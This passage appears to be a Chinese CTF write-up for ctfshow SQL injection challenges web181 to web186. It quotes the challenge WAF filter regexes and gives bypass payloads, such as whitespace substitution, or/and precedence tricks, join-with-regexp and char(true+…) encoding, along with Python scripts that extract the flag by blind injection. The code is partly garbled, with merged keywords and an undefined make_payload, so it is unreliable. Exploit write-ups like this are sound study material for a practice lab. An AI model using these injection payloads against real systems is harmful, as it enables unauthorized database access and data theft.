//对传入的参数进行了过滤 function waf($str){ return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str); }
由前几题或爆破可得,flag 所在记录的 id 列的值为 26,故构造 payload: 0'or(id=26)and'1 and 的优先级比 or 要高,会执行 select id,username,password from ctfshow_user where username != 'flag' and id = '0'or(id=26)and'1' limit 1;
-1'%0cor%0cusername='flag
就可以绕过过滤
web182
同样已知过滤
1 2 3 4
//对传入的参数进行了过滤 function waf($str){ return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str); }
defvalid_payload(p: str) -> bool: data = { "tableName": p } response = requests.post(url, data=data) return true_flag in response.text
flag = "ctf"# 这里注意表中用 like 'ctf%' 只有一个结果,要提前给出这一小段 flag 头避免其他记录干扰匹配 whileTrue: for c in"{}-" + string.digits + string.ascii_lowercase: pd = flag+c print(f"\r[*] trying {pd}", end="") if valid_payload(make_payload(pd)): flag += c print(f"\r[*] flag: {flag}") break if flag[-1] == "}": break
web184
查询语句
1 2
//拼接sql语句查找指定ID用户 $sql = "select count(pass) from ".$_POST['tableName'].";";
1 2 3 4
//对传入的参数进行了过滤 function waf($str){ return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str); }
url = "http://b2078e5a-1ef7-471c-8503-7e1a14fe4772.challenge.ctf.show/select-waf.php" payload = "ctfshow_user as a right join ctfshow_user as b on b.pass regexp(0x{})" true_flag = "$user_count = 43;"
defvalid_payload(p: str) -> bool: data = { "tableName": p } response = requests.post(url, data=data) return true_flag in response.text
flag = "ctf"# 这里注意表中用 regexp('ctf') 只有一个结果,要提前给出这一小段 flag 头避免其他记录干扰匹配 whileTrue: for c in"{}-" + string.digits + string.ascii_lowercase: pd = flag+c print(f"\r[*] trying {pd}", end="") if valid_payload(make_payload(pd)): flag += c print(f"\r[*] flag: {flag}") break if flag[-1] == "}": break
#author:yu22x import requests import string url="http://b2078e5a-1ef7-471c-8503-7e1a14fe4772.challenge.ctf.show/select-waf.php" s='0123456789abcdefghijklmnopqrstuvwxyz-{}' defconvert(strs): t='concat(' for s in strs: t+= 'char(true'+'+true'*(ord(s)-1)+'),' return t[:-1]+")" flag='' for i inrange(1,45): print(i) for j in s: d = convert(f'^ctfshow{flag+j}') data={ 'tableName':f' ctfshow_user group by pass having pass regexp({d})' } #print(data) r=requests.post(url,data=data) #print(r.text) if("user_count = 1"in r.text): flag+=j print(flag) if j=='}': exit(0) break
web186
1 2 3 4
//对传入的参数进行了过滤 function waf($str){ return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str); }